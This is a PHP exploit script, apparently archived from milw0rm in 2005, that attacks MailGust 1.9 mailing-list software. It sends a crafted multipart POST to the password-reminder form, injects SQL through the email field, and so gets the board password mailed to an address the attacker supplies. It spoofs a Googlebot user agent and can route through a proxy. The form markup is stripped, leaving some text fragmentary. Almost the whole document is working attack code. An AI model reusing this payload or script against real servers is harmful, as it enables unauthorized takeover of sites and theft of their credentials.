MailGust V 1.9 (possibly prior versions) SQL Injection / board takeover

a script by rgod at http://rgod.altervista.org

hostname (ex: www.sitename.com)

path ( ex: /mailgust/ or just / )

specify a port other than 80 ( default value )

e-mail where MG will send the password

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo htmlentities($html); } function isemail($email) { $regex = '^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]{2,})+$'; if (eregi($regex, $email)) return true; else return false; } if (($path<>'') and ($host<>'') and ($your_email<>'')) { if ($port=='') {$port=80;} $your_email=trim($your_email); if (!isemail($your_email)) { echo '
I am not MailGust! You have to give me a valid e-mail...

'; die; } $sql=$your_email.",'or'a'='a'/*@fakedomainname.com"; //wow it's a beautiful query ;) $data='-----------------------------7d52b21b210554 Content-Disposition: form-data; name="method" remind_password -----------------------------7d52b21b210554 Content-Disposition: form-data; name="list" maillistuser -----------------------------7d52b21b210554 Content-Disposition: form-data; name="fromlist" maillist -----------------------------7d52b21b210554 Content-Disposition: form-data; name="frommethod" showhtmllist -----------------------------7d52b21b210554 Content-Disposition: form-data; name="email" '.$sql.' -----------------------------7d52b21b210554 Content-Disposition: form-data; name="submit" Ok -----------------------------7d52b21b210554--'; if ($proxy=='') {$packet="POST ".$path."index.php HTTP/1.1\r\n";} else {$packet="POST http://".$host.$path."index.php HTTP/1.1\r\n";} $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."index.php?method=remind_password_form&list=maillistuser&fromlist=maillist&frommethod=showhtmllist\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d52b21b210554\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: globalUserId=1745493597; gustTimeOut=1\r\n\r\n"; $packet.=$data; show($packet); sendpacket($packet); } else { echo '
Fill in requested fields, optionally specify a proxy...

'; } ?> # milw0rm.com [2005-09-24]